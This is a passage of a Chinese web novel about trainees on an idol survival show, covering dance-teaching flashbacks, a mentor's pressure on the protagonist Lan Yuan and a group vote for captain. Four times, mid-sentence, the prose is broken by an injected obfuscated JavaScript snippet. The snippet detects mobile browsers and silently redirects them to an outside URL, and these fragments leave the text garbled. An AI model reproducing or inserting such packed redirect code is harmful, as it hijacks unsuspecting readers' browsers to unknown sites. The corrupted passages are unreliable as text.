两个双人间蓝鸢已经看过,而最后剩下的那个三人间,不出意外算是结合了两个双人间的优点——豪华浴室、桌子、投影屏、漂亮的墙纸、一片大到可以铺一个瑜伽垫用来运动的空地,以及最大的阳台。 就连床看上去都要更宽一点。 这也是意料之中的情况。粉丝可能会觉得自担住三人间比较亏,“豪华”则算是一种补偿。 当然,实质上,从成员的视角看,情况又不一样了。至少在蓝鸢看来,三人间并非没有优点。 如果是学校宿舍,三人间可能会形成奇妙的亲疏远近关系,从而不太好;但就凭Butterfly这种队内关系,让有些人去住双人间大概率是会冷场的,三个人的话,尴尬的概率会大大降低。 比如现在这个组合,宁郁寒和简旋安的关系就很微妙,如果住双人间搞不好会打一架……论坛乐子人将这种微妙的关系戏称为是“为了蓝鸢争风吃醋二人组”,蓝鸢虽然不喜欢这个说法,但也知道确实隐隐约约有点这个意味在。 毕竟,赛时宁郁寒和简旋安之间的关联,几乎都是以蓝鸢作为其中纽带。蓝鸢自己并不是什么迟钝的人,当然能意识到这两个人对自己的情感都不太正常。 不过还好的是,虽然现在蓝鸢从这个组合中临阵脱逃,补上去的叶游也算是好的选择。 叶游和宁郁寒关系好暂且不论,他和简旋安也有“普通朋友”之上的关联——他俩是Butterfly这个团唯二的赛时初舞台F班,主题曲练习时是按初舞台分班分开练的,于是两人自那时起就建立了深厚的“革命友谊”。 万恶的主题曲练习阶段,确实串联起了这个节目里的很多人际关系。想到这里的时候,蓝鸢不由得在心中感慨了一句。 不仅仅是叶游和简旋安两人之间的友谊……这个三人间的三个人,都是在那个阶段同蓝鸢产生关联的。 * 选秀初舞台过后,练习生们有三天时间练习节目主题曲,而后是进行再评级和选初C。 蓝鸢并没有舞蹈底子,但有被老师评价为“相当少见”的练舞天赋。在去年下半年,他用自己为数不多的存款结余去报了个昂贵的舞蹈班,一边准备艺考一边临时抱佛脚,最后不仅抱过了面试、还硬生生抱出来了个初舞台A班。 实话说,那个A班进得还不算容易。 蓝鸢初舞台并不是solo,而是被节目组安排了几个“临时队友”。 他们这届就三个名义上的个人练习生。另两个人是旧识,算是一起参赛,其中一个就是蓝鸢那个退赛的赛时室友,而蓝鸢自己是独立报名。 于是节目组将几个同样没有队友的小公司练习生和蓝鸢打包在了一起,又给他们安排了一首蹦蹦跳跳的、技术含量不是很高的网络流行洗脑单曲,让他们就表演这个。 这算是选秀节目里很常见的事。蓝鸢看到歌名,就知道结果大概率是两种——如果表现还可以,那就轻飘飘地放十几秒舞台,证明节目组还是看到了这些“小透明”选手;如果表现有不尽如人意的地方,那就把他们放出来吸引黑红流量。 至于评级……选秀节目虽然没有严格的剧本,但也是有粗略的前期规划。初舞台A班的名额就只有7个,他们这组显然是不在“出一个A班”的预期之内。 但或许节目组自己都料想不到,靠着一系列无法预测的变量,这组最后确实打出了第三种结局。 那几个临时队友实力都不怎么样。 但且不论有个队友摔了、还有个队友跑调了都是他救的场,蓝鸢的实力放在这队里也实在突出,突出到被cue了一个舞蹈加赛、跳完之后好多人鼓掌,突出到甚至很难让提前得到了节目组暗示的导师组,用“你们是一个队伍,这里是男团比赛,队伍的整体观感也是标准的一部分”这种常见压评级话术来压他。 或许也有别的话术。蓝鸢想。比如这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437662|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二组上台的,还摸不清大多数人的水平。 只是这些话术还没出来,导师组几个人还在台下“闭麦讨论”——每个人给一个自己心中的评级再放一起协商,祁心忱就装作不经意抬高了音量,让台上台下一群人都听到了那句“所有人提交的材料我都看过,相信按各位的职业素养也肯定都看过,蓝鸢这种不拿A的话,接下来我这边最高就只会是B了”。 蓝鸢站在台上,装作毫无波澜地注视着几个导师的方向,像是根本没听见这句话一样。 他只看见祁心忱旁边的rap导师神色中闪过的惊讶,而后这人摸了摸耳朵上的收音设备,犹豫着来了一句“蓝鸢练习生确实很优秀,但是他不会rap,还有进步空间,我觉得可以给一个B,用来激励他后续进步”。 ……不知道是否是祁心忱的音量影响了他,总之,这话也清楚地传进了蓝鸢的耳中。 而后导师坐的那张桌子陷入了短暂的沉默。 “不会rap更应该给A呀,”祁心忱偏过头对着他笑了笑,“不会rap明明是大加分项,毕竟很多会rap的脑子都有问题呢,您说对吧?” 蓝鸢依然没有表情。但他听见自己旁边的临时队友之一吸气的声音。 “……就给A吧,”又是片刻的沉默,最后是pd出声打圆场,“蓝鸢练习生确实很优秀,台上应急处理也做得很好,本来就值得最高评级,我们讨论下一个练习生。” 而后声音又低了下去。 这段交流显然没有被放进正片之中。 最后的正片里,这个节目组意料之外的初A变成了第四个A,剪辑出来的初A给了同组同时拿A的沈艾初和任淮两个人,但这并不影响蓝鸢在所有练习生心中都留下了极其深刻的印象。 蓝鸢“大主唱”的title是一公时正式打出来的。在此之前,他在大多数身边练习生那里的印象,大概都是长得漂亮外加唱跳不偏科的、实力强大的A班练习生。 于是到主题曲练习那会,就有人主动找上了蓝鸢,问能不能教他跳舞。 14. 教学与压力 “我叫宁郁寒,是B班的,”那个男生比他高了一截,微微低下头看他,自我介绍道,“是靠rap进的B班,所以歌舞可能不太擅长。” “我记得你,”蓝鸢眨了眨眼说,“初舞台即兴发挥的那个——很精彩的表演。” “精彩”是一句实话。 之所以知道宁郁寒的表演是真即兴,而不是剧本,是因为他在rap词里融入了在他之前表演的别的练习生的舞台内容——蓝鸢不是很懂rap,所以在他的观念中,如果一个rap能让人听懂、没有奇怪的用词、节奏感好、还能有点深度,那就是精彩的rap。 宁郁寒的表演总归是合乎这些条件的……准确说来,按照初舞台时坐在自己旁边的沈艾初的说法,这人的rap应该在这群练习生里是断层的强。总之,蓝鸢对他的第一印象还挺不错。 只不过,唱完那段rap后,舞蹈导师还没说话,祁心忱就直接举起话筒问了句“你会不会跳舞”——在得到否定的答案后,宁郁寒最终只被分到了B班。 “好荣幸能被你记住啊,”宁郁寒笑了起来,“这句话是真心的,所以……” “所以为什么会找我呀?”蓝鸢猜测他的下一句是“所以能不能教我”,因此先一步问出了自己的疑惑,“A班还有别人……不是要拒绝的意思,只是很好奇。” “嗯,大概是感觉你最厉害,”宁郁寒偏了偏头,如是说道,“而且祁老师给我们上课的时候也说,A班的蓝鸢练得很好、也特别努力,听说他今天一天在每个班都夸了你,让我们学习你。” 蓝鸢眨了眨眼,心想祁心忱这又是在玩哪一出。 “感觉祁老师真的特别看好你,所以才一直夸你,他居然也会这么夸人,好羡慕呀,”宁郁寒继续说,“初舞台那会也……哦不对,这个好像不能说。” 他说着,做了个“禁言”的手势,止住了话题。 “说了也没关系的吧,”蓝鸢低头笑着回答,“又不是直播。” 那时候,蓝鸢还不知道宁郁寒这人脑子缺根筋,表面上避重就轻回应,心中只觉得他是在装不清楚——祁心忱看好自己是显然的,夸自己也是显然的,但是这两件事的联系怎么都不是宁郁寒潜台词中的那样。 如果说初舞台那会靠阴阳怪气其他人为自己争评级,是借着自己的事、来宣泄对于节目组干涉评级的不满,那按宁郁寒的说法,祁心忱去别的班教室大夸特夸自己……怎么看怎么都是在给自己上压力吧? 至于为什么要这么做,或许是看穿了自己没什么冲劲这回事?蓝鸢不确定地想。 总不能是祁心忱想捧杀自己——虽然他和对方在开赛前几天有点交集,但完全没有结仇,无论如何,大顶流总归不至于干出捧杀小后辈这种事。 应该不至于吧? 蓝鸢心中思考着,面上却没有显露出来,只是又开口,答应了宁郁寒教他跳舞。 ——那天晚上,他们两个人单独找了一间有摄像头的空练习室,在里面熬夜练到了两点半。后来,这段双人练习时间被剪进了正片里,就一小段,但也成了“郁鸢”这个cp的起点。 以此为起点,蓝鸢和宁郁寒越走越近,直到成为朋友,直到成为节目的美帝cp,再直到蓝鸢扒到他的二十个嫂子……选秀节目往往八百倍速,明明只有三个月,却能创造出一连串的故事。 只不过,当时的蓝鸢还预料不到后来的发展。他只当宁郁寒是个普通的、找他帮忙的练习生,而自己出于好心施以援手,仅此而已。 他们练到两点半,顺完了整首歌的舞蹈。蓝鸢觉得差不多了,建议宁郁寒回去消化一下,第二天有问题再找他——宁郁寒也点点头,接受了这个建议,然后同他道谢与告别。 接着,练习室里又只剩下了蓝鸢一个人。 而他回过头,刚准备离开,就看到了站在门口的祁心忱。 * “祁老师?”蓝鸢确实有点意外,“这么晚了,你怎么在这里?” “来看看我最看好的练习生练得怎么样,白天都没时间来看你,”祁心忱说着走了进来,又反手关上门,“感觉还好吗?” “哦,”蓝鸢看了他一眼,然后面无表情地将宁郁寒转述的话复述一遍,“……练得很好,特别努力,值得大家学习。” 祁心忱一听就笑了出声,又偏了偏头问:“怎么这么说,你生气了吗?” “没有。”蓝鸢说。 怎么可能没有。 虽然蓝鸢也说不准自己在生气什么,不管怎么说,因为导师在别的班夸自己而生气……怎么说都很没有道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437663|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理,况且还是初舞台时期帮自己争取到A班的导师。 但是……明明祁心忱一整天都没有来看过自己,编那些谎话做什么呢?是觉得压力自己很好玩吗? 毕竟是个人都懂,祁心忱已经在BCDF四个班把自己巡回吹了一遍,别说掉A班,就算自己到时候表现不够突出,这事在其他人眼里都会变得格外微妙。 那种情况一旦发生,自己大概率会变成“没接住剧本的皇族”。即使熟悉的人都知道祁心忱并不会帮节目组“发剧本”,但只要肯营销这个观点,总有人会信。 总之很恐怖。蓝鸢心想。 而要避开这种恐怖的后果,唯一的途径……只有在主题曲评级时做出特别好的表现。当然,如果表现够好,那这种吹捧也会变成自己的优势—— 60分的水平按100分吹,大家都知道是笑话,95分的水平按100分吹,大家会逐渐相信你真的有100分。 大概是这个道理。 “太不坦诚了小圆,明明就在生气,”祁心忱眨眨眼,戳穿了他的心理活动,然后笑着补了一句,“如果你想拿初C,可以多去别的班教室里逛一逛,指点指点别人,就像刚刚那样。” “我还是先练好自己保证留在A班吧。”蓝鸢闷闷地说,“走一步看一步,先有A才能选初C的。” “这个不用担心,你肯定会留在A班,”祁心忱说,“无论表现成什么样,就算你在台上站桩,我都会让你留在A班的。” 蓝鸢震惊地抬头看他。 “我知道你没有那么大的热情和冲劲,对出道也没什么渴望,只是会靠着惯性努力,”祁心忱说,“因为各种原因,你处于很犹豫的状态,所以我帮你做一个决定——接下来你只要好好表现就行了,别的事我会尽量帮你解决,总之不会让你的努力白费的。” 蓝鸢愣了愣。 祁心忱的几句话连着砸下来,让他彻底搞不懂情况了。 他想说你到底是什么意思,我们好像才见第三次,并不是认识了三年,为什么就能高高在上说“帮你做决定”这种话。 只不过,虽然祁心忱的态度让人极其不满,但他说出来的话……又确实是自己现在需要的。 于是最终……蓝鸢又什么都没多说,只“哦”了一声。 15. 玩笑与F班 那时候的蓝鸢确实处于很犹豫、很纠结的状态。 如同祁心忱所说,蓝鸢当时并没有什么争夺出道位的心思——虽然他也不知道对方是怎么敏锐看出这一点的。 但没心思也并不是真的看不起这个位置,只是一开始就知道几乎没有可能,加上对于“做偶像”这件事本身也没有什么执念——或许是因为擅长,所以蓝鸢对音乐还算喜欢,只是这种喜欢并没有真正意义上转移给“唱跳舞台”。 做偶像、做创作歌手,其实都没有什么区别。事实上,他做网络唱见就很开心了,真人出镜也只是为了挣钱。 初舞台过后的那天晚上,任淮在宿舍里讲自己这么多年对舞台的执念……蓝鸢理解,但全然无法感同身受。 只不过……那个蓝鸢自己都没有想到的初A,确实让他产生了一些新的想法。 脑子里的一个观点说你一个个人练习生又拿不到什么镜头,初A被一剪梅的又不是没有过,况且几个导师还因为你小吵了一架;另一个观点又说着说不定呢,虽然想的是刷脸,但明明有这么好的开局,能进出道位的话,总归会让更多人认识你,然后给你创造更多的……挣钱的机会。 不努力一定会更差,努力又不一定能有用,抱着如此功利的态度,又像是对不起名为“偶像”的这份职业——报名的时候蓝鸢没想这么多,因为是和同学一起,所以一切都顺理成章;等真正结束了初舞台,那种名为“茫然”的情绪才后知后觉袭来。 蓝鸢不知道祁心忱话中的“尽量帮你解决”究竟是指什么,更不知道对方抱着什么目的……他甚至专门回忆了一下,确认在这个月之前,他和祁心忱确实不认识,没有什么他忘记的旧交情。 蓝鸢最终犹豫了一会,还是问了出来:“所以为什么呢?” “哪有什么为什么,我想做什么就做什么,”祁心忱笑了笑,用非常云淡风轻的语气说,“你可以当成是心血来潮。” 蓝鸢于是张了张嘴,什么都说不出来。 只感觉有一股气卡在喉咙里,不上不下的。祁心忱看起来确实没有什么巨大的恶意……但又确实在说这种让人不舒服的话,所以蓝鸢感觉说什么都不对劲。 说好话显得自己太憋屈了,说不好的话又对不起这人确确实实提供了真实的帮助和承诺。 世界上怎么有人说话能这么轻松地气到人呢。蓝鸢心想。 “好了好了,都是开玩笑的,实在对不起,”祁心忱见他表情微妙,意料之外地很果断道了个歉,又在他肩膀上拍了拍,“你想努力也行,不想努力也行,需要帮助可以找我,其他情况我会客观公正的……至于原因的话,听了你几首歌觉得还不错,所以想试试看你本人是怎样的——仅此而已。” 祁心忱说完这话,就挥了挥手,说自己要先回去睡觉了。而蓝鸢站在练习室里,看着他离开的背影,眨了眨眼,陷入了片刻的思考。 ——当时的蓝鸢经过思考过后,确实是信了这套说辞的。 原因也很自然,越是这种听起来不靠谱的说辞,就越像是真的,祁心忱这种想一出是一出随心所欲的人,会这么想也不奇怪。 只不过…… 虽然祁心忱将自己之前的话都归结于玩笑话,但蓝鸢还是记住了那句“多去别的班教室里逛一逛”——很微妙地,听他这么一说,蓝鸢确实有了些想要去争这个初C的念头。 至于保A班这件事……有祁心忱那句看起来会兑现的“客观公正”在前,蓝鸢就不觉得自己会掉出A班。 所以第二天来到练习楼后,蓝鸢就去了F班教室。 * F班教室里的人比想象中多。 蓝鸢视线从人群间扫过,对大致情况有了估计。 今年的F班并不存在那种“有着A班实力的强选手因为失误而直接掉到F”的类别,简而言之就是所有人实力都不算特别好,于是比起这时候几乎所有人都能完成一遍唱跳的A班,F班的进度要慢了不少。 “小圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437664|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”只不过,还没等他细细观察,一道耳熟的声音就打断了蓝鸢的思考,穿着B班衣服、在这间教室里同样显眼的宁郁寒冲他招招手,“你怎么在这里?” 宁郁寒的声音不大,但也并非没人能听见。于是他身边好几个练习生都闻言扭过头,看向门口的蓝鸢,又互相交流了几句——蓝鸢听不清他们在说什么,也没兴趣听,不过宁郁寒既然打了招呼,他就顺便走了过去。 “我就到处逛逛,”走近之后,蓝鸢才说,接着他转过头看了看刚刚和宁郁寒待在一起的、另一个他不算眼熟、但长得很传统帅哥味的F班练习生,又问,“你们练习需要帮忙吗?” “需要!”那个F班练习生立刻回答。直到这个出自本能的答案说出来,他才又顿了顿,像是觉得不合适般补充问了一句:“不会麻烦你吗?” “还好。”蓝鸢摇摇头,然后说,“我练差不多了,帮助别人练习对自己也是一种提升嘛。” “那拜托你了,”那人于是笑了起来,然后自我介绍道,“……差点忘说了,我叫叶游,和宁郁寒是同一家公司的,现在也是室友。” “哦,我是蓝鸢,个人练习生。”蓝鸢也回了一句自我介绍,又突然想起……宁郁寒的初舞台明明是一个人solo的,怎么还有同公司的啊? “你说这个呀,”叶游解释,“我们公司来了四个人,因为小郁想要自己即兴solo,我们跟不上,所以大家就拆成两组啦。” “哦,”蓝鸢点头,“原来如此。” 自己这种真一个人来的要被迫组队,一队人来的反而可以选择solo……蓝鸢想,看来宁郁寒也不是什么普通参赛练习生,多少会是个被捧的对象。 但总之,别人受不受捧和他没什么关系。如果因为一个人可能是皇族就疏远他的话,那蓝鸢应该做的第一件事是从宿舍搬出去,远离沈艾初。 于是他也没再多想,而是转向叶游:“……那你现在先跳一遍看看吧?会多少就跳多少。” 16. 小圆教室 叶游闻言照做。 他跳了一遍,蓝鸢就发现……这人是真的没什么天赋。 毫无协调性不说,忘动作也不说,他自述“昨晚回去记了一下词”,但那些全都是大白话还押韵的歌词也没全记住。 不过好在……蓝鸢自己并不是那种练过多年舞的,反而比这里大多数人更像初学者。初学者懂初学者的困境,因此他总归有信心将叶游带出F班。 只要叶游评级上升,没道理选主题曲C位投票时不投自己——这是祁心忱那句话中再简单直白不过的潜台词。 “我明白了……你放心,”蓝鸢这么想,干脆就这么承诺,“我带你练,保证你再评级不会是F班。” 叶游有点诧异地眨眨眼,像是没料到蓝鸢来这么一句——蓝鸢清楚,这人肯定也明白自己的目的,但“赚取初C投票时的好感度”这种事很多觉得能上A班的都会做,下承诺还真不是所有人都敢。 “……谢谢你。”叶游顿了一会,最终只是道了声谢,“不用勉强,小圆你能帮忙已经很好了……我知道我确实没什么天赋的。” “只是一个三分钟歌舞,并不是十万人演唱会,也不是让你成为传奇唱跳歌手。”蓝鸢说,“这事并不需要天赋,放心。” * 而接下来事情的发展,就如同意料之中。 蓝鸢教叶游练主题曲,而抛开rap外水平比F班好不了多少的宁郁寒也在一边跟着练。 在F班一群灰衣服里,他们这个三人组,一个穿A班粉色衣服长得很漂亮的蓝鸢,一个穿B班蓝色衣服的高个子宁郁寒,还有自己将自己调侃为“F班班草”的叶游……实在太引人注目了。 于是过了一会,就又有人凑上来,问能不能一起学。 “可以是可以,”蓝鸢沉思片刻,最后点点头,“但是人多起来的话,只能最普通地带大家一起练——我尽量观察每个人的问题,但不一定能全指出来,如果你需要的话,回头找我单独问也可以。” “这样已经很好啦。”那人弯弯眼睛笑了起来,显得很可爱,“谢谢小圆——哦对,忘记自我介绍了!我叫简旋安……真要说的话,可能什么都不会?” “问题不大,”蓝鸢说,“不会才有学的意义嘛。” 这个简旋安的初舞台,蓝鸢也有印象。 不过印象并非是因为他表现太差或者太离谱,事实上,简旋安的初舞台中规中矩——中规中矩的F,没有大车祸,但也没有亮点,不会跳舞,唱歌不跑调,但也只是不跑调。 真正让蓝鸢记住的,还是他和导师组的交流环节。 “简旋安练习生,现在是……大四心理系学生,在top2上学,”pd一边念简历,一遍戳了戳旁边的祁心忱,“忱忱,这位是你们隔壁学校的呢,那和你也算半个校友?” “哪有这种说法,”祁心忱笑,“况且我们美院学生在外面一般是会被开除的。” 台上简旋安一听,也笑了一声。 在娱乐圈里,这种顶尖名校的学生有、但不算多。 如果用这个来当噱头,可能会被阴阳怪气说“那谁也是top2就从来没见粉丝提过”“只有废物才吹学历”,但总归不会被嘲太狠,而且确实还会有人买账,所以依旧有不少名校生进娱乐圈时将其作为标签。 简旋安显然也是决定用上这个标签的……可能是因为他抛开这个标签就没有特殊之处了。蓝鸢心想。 只不过,简旋安的标签不仅仅是“top2”——根据他在初舞台的自述,他之所以来参加这个节目,是因为上学期一个课程大作业的话题和娱乐圈艺人有关,简旋安和队友在观点上产生了分歧,因此决定亲自前来娱乐圈一探究竟。 ——好奢侈的探索。这是蓝鸢的第一反应。这世界上居然还有比“为了完成毕业论文前来娱乐圈取材”更奢侈的事。 而且他还真签到了公司,通过了面试。 “好呀,”而在主题曲练习的第二天,听了蓝鸢的话后,简旋安看起来很开心,“感觉小圆是个很好的老师呢。” ……那你想太多了,我只是想给自己赚点初C的内部投票。蓝鸢心想。 再往后,有了简旋安带头,陆陆续续又有人加入到他们的教学之中……接着不知道从什么时候开始,事情就变成了蓝鸢在最前面讲解、外加靠着覆盖了一整面墙的镜子观察所有人的动作,再将互补的人分配成一组互相练习。 很忙碌,比自己一个人练要忙多了,简直像同时打了练习生和导师两份工。 哦,也不是。蓝鸢又想。 导师组根本不会这么教,只会上大课,不会将所有人都像整体般调动起来;导师组也不敢像他这样,只学过几个月舞蹈,就开始假装自信地教别人跳舞。 蓝鸢这个主题曲阶段的“剧本”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437665|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来被论坛评价为是“皇中皇”、“一般的皇族都拿不到”,以及“踩着一大群人上位”。只是被当成皇族总比没有镜头好,况且这种忙碌确实算得上有成效……大概有,从拉票的意义来讲。 一个上午过去,大半个F班都加入了他的教学之中,甚至还有好多B班的过来,不知道是不是宁郁寒喊过来的。 非常有幸,几乎所有参与其中的人都对他赞赏有加。 而到了下午,简旋安不知道从什么地方搞了个牌子,像高中校运会的班牌那种,上面写着“小圆教室”四个字。 他将牌子立在了F班教室的门口,挡住了F班的标志……这样居然没有受到任何人反对。 还有不少人在那个牌子上签字。 再后来……蓝鸢继续回忆。 他的“小圆教室”效果很好,绝大多数人都升了等级。至于被他特意开小灶——或者称为“熬了两个通宵进行魔鬼加练”的三个人……没什么天赋的叶游被他强行带到了B,而本身底子稍好的宁郁寒和悟性很好、被蓝鸢发现“实际天赋不错”的简旋安甚至都拿到了A。 蓝鸢在初C投票中,获得了BCDF四个班总共94位练习生的46票,差一票到半数。 他不知道其中有多少是来自于“小圆教室”,但他将那个牌子收了起来作为纪念……只是后来,和简旋安闹崩之后,这个由简旋安写了主体部分的牌子也被他留在了选秀基地。 带着那些……或熟悉或陌生,但都在那几天里和他产生了交集的名字一同。 * “小圆你怎么在发呆?”宁郁寒戳了戳蓝鸢的脑袋,将他拉回“参观三人间”的现实之中,“评价一下这个房间呀,感觉怎么样?” “集大成式豪华,”蓝鸢随口点评了一句,“而且采光很好,应该住起来感觉不错——我还挺喜欢这个大屏的。” “我也很喜欢呢,”宁郁寒顺着他的意思往下说,“小圆有空也可以来我们宿舍玩哦。” “嗯。”蓝鸢点头。 如果简旋安不在的话。 “那我们就算参观完三间宿舍啦,”沈艾初的声音从队尾传来,打断了两个人的交流,“接下来的环节……嗯。” 他低头假装看了看手上的提词板,然后抬起头,说出了所有人都知道的下一步流程:“让我们重新回到客厅,投票选出Butterfly的队长吧!” 17. 队长选拔 五分钟过后,糊团所有人又重新按排名坐回了客厅沙发之上。 在限定团,“选队长”是一个很微妙的环节。 以往国内外的限定团里,这个环节往往都会在粉圈中……或者准确说是C位的粉圈中起争议。 有人觉得当队长是个麻烦事,不想让自担沾上这种麻烦;另一些人觉得限定团的队长不需要负什么责任,但是有个好听的名号,又需要在特定场合承担发言,如果C位不是队长,那队长可能喧宾夺主。 只是这事放在糊团的粉圈又要复杂一点。这个团里,C位是沈艾初,但是众所周知人气top是蓝鸢,于是出现了一些额外的声音。 有人觉得既然他的C位都被抢了,当然应该给一个队长当补偿,况且虽然蓝鸢是忙内,但三个月选秀下来,这队里好像只有他有明显的带队能力;也有人说给队长不是补偿,是继续把他往火坑里推——这两种声音在论坛“带粉籍路人”那里、以及在蓝鸢的粉圈中都同时存在。 不过他家大粉的统一口径还是“小圆想当就当不想当就不当”。 之所以能自信地在互投环节说这种话,是因为众所周知,如果蓝鸢真的表现出想当队长的意愿,那宁郁寒、简旋安和叶游三个人一定会投给他。 加上蓝鸢自己的一票,四票就已经能锁定胜局。 不过很理所当然的,蓝鸢还真不想当这个队长。 如果这只是一个普通的男团,那当队长这种小事他是无所谓的,大家想让他上他就可以上,蓝鸢对于“多做事”“多担责”这种要求并没有什么太大的抵触。只是Butterfly显然不是普通男团,而是一个搞不好会六连爆的男团。 虽说限定团队长管不了成员,但不搞限定团的路人又不清楚。在这种地方当队长,会让他本就不高的“从队友未来可能爆炸的舆论中全身而退”的概率又下降不少。 那自己现在唯一能做的……只有提出一个新建议,然后祸水东引了。 “我觉得小艾当队长就很好,”蓝鸢眨眨眼,装作不经意地开口,“小艾是C位,站在中间,代替大家发言很合适,而且小艾也很细心很有耐心。” 这话一出,别人不说,旁边的沈艾初明显全身僵硬了片刻。 已经很努力编理由了。蓝鸢心想。 事实上站中间的才不适合发言,最适合发言的是站边上的,因为参与活动的时候,主持人一般都站在他们全队边上。只是任淮和竺明若算是这队里蓝鸢最无法控制的两个人,无论谁当队长他都不希望。 限定团队长没有大权力,但也不是真的什么权力都没有。蓝鸢不想当队长,但至少希望是自己可控的成员当队长。 可惜叶游是第五,实力又一般,性格大而化之,脾气好到过了头;而宁郁寒赛时公演都拒绝当队长,自称“毫无领导力”,否则这两位本来也是很好的人选的。 所以最终思考下来,蓝鸢决定再点一次沈艾初——他估计沈艾初这会已经不明所以了,但无论如何……“让C位当队长”这个理由太顺理成章了。 公认最有领导力的蓝鸢用这个提名暗示自己不当选,三人间的三人组肯定跟他投票,无论任淮和竺明若投不投——投票的话可以直接炒cp,不投票可以后采补充“想让他轻松一些”间接炒cp——总之,这事就被他轻飘飘一句话定了下来。 本来应该是这样的。 “但我觉得小圆你也很合适呀,”任淮偏了偏头,在投票开始之前唐突笑着说,“感觉小圆你每次当队长都当得很不错,而且还有很厉害的‘小圆教室’呢。” 蓝鸢一听这话,瞬间就体会到了刚刚沈艾初的心情。 “……其实那个小圆教室是受到小郁哥哥的启发啦,如果不是他来找我的话我也不会想到,自己还可以有能力帮助其他选手呢,”蓝鸢大脑飞速转动,开始避重就轻谈一些事,企图给其他队友暗示,“加上我可能是高三,平时上课比较多,所以有一点点惯性?” 快接收“高三”的信号啊,不管是谁。蓝鸢表面不动声色往后靠了靠,看着其他几个队友眉来眼去不知道眼神交流什么,同时在心中默默祈祷……如果没人get那只能自己说了,但这样的话自己就会变成这段男团学的中心人物了。 虽然变成男团学中心也没关系,但能不要还是不要的好。 “对哦,小圆还是高三,”叶游眨眨眼,没有辜负蓝鸢的期待,开始帮他引导风向了,“最近两周还要忙着复习,下学期去上学也很花时间,当队长会不会负担太重然后很累呀。” “也有道理,”任淮沉思片刻,只得将问题抛回给蓝鸢,“小圆你觉得呢?” “我也不太清楚,因为我还不知道要去哪里读书嘛,”蓝鸢含糊其辞,但字里行间也强调自己可能“很忙”,即使大家都知道当队长也不会很忙,“说不定开学还要军训,或者上课要签到。我是不介意承担责任的,只是确实也不太敢保证……” 他说到这里,欲言又止。 “我感觉明若哥也可以呢。”这时候,蓝鸢旁边的简旋安突然开口,“明若哥是大哥,又有过出道经验,对很多事情都比较熟。” “对哦。”沈艾初不敢把矛头引向蓝鸢,但是这会已经放下了他的恋哥癖紧急开口,看起来也不是很想当队长——毕竟竺明若还是不如任淮在他心中地位高,“明若哥哥也很好的。” “我上学那会小组长都没当过,这辈子唯一一次当队长还是三公,”竺明若想了想说,“感觉我做得确实不太好……但是如果真的想选我的话,我也会努力的。” 嗯,看起来队友们也不想当队长呢。 蓝鸢心想着,给自己闭了麦,不动声色地看着其他人你来我往,矛头焦点转了又转,总归没有再扯到自己身上。 “我觉得讨论到这里就差不多了,”最终是临时主持沈艾初拍了拍手,止住了大家的交流,“我们可以开始投票了。” ……沈艾初啊沈艾初,你这时候不等工作人员看不下去了来打断,而是自己跳出来统筹,不就是给你自己拉队长票吗。蓝鸢心想。虽然是我把你推入了候选名单,但这种时候一点点体现领导力的事都不做才是最好的啊。 但总之,投票是给每个人发一张小纸条,大家把自己想选的人填在上面,最后汇总一起公布。 名义上匿名,实际上实名,因为他们决赛周有个活动,让每个人都给粉丝写手写信把扫描件上传到网上,所以粉丝们能认出每个人的字。 蓝鸢没有怎么犹豫,还是按照他最初的观点,填了“沈艾初”上去。 至于最终的结果……蓝鸢多少有点意外。 在聊天时各执一词的队友们,在真正选择的环节,却不约而同将票投给了沈艾初——包括他本人也大概是在各种挣扎和思考后做了这个选择,结果是非常好看的全票当选。 仿佛他们队本来就人心很齐一样。 “嗯,”于是沈艾初发表“述职演说”,并以传统的表决心结尾,“总之感谢大家的支持和信任,我会好好努力承担起这个工作的。” 而后大家鼓掌欢呼,恭迎新队长的诞生。 非常潦草,但氛围一片祥和。 而在这个vlog录制的最后,他们一起坐在沙发前,宣布了……向粉丝们征集团粉丝名、应援色和应援手势、口号的消息。 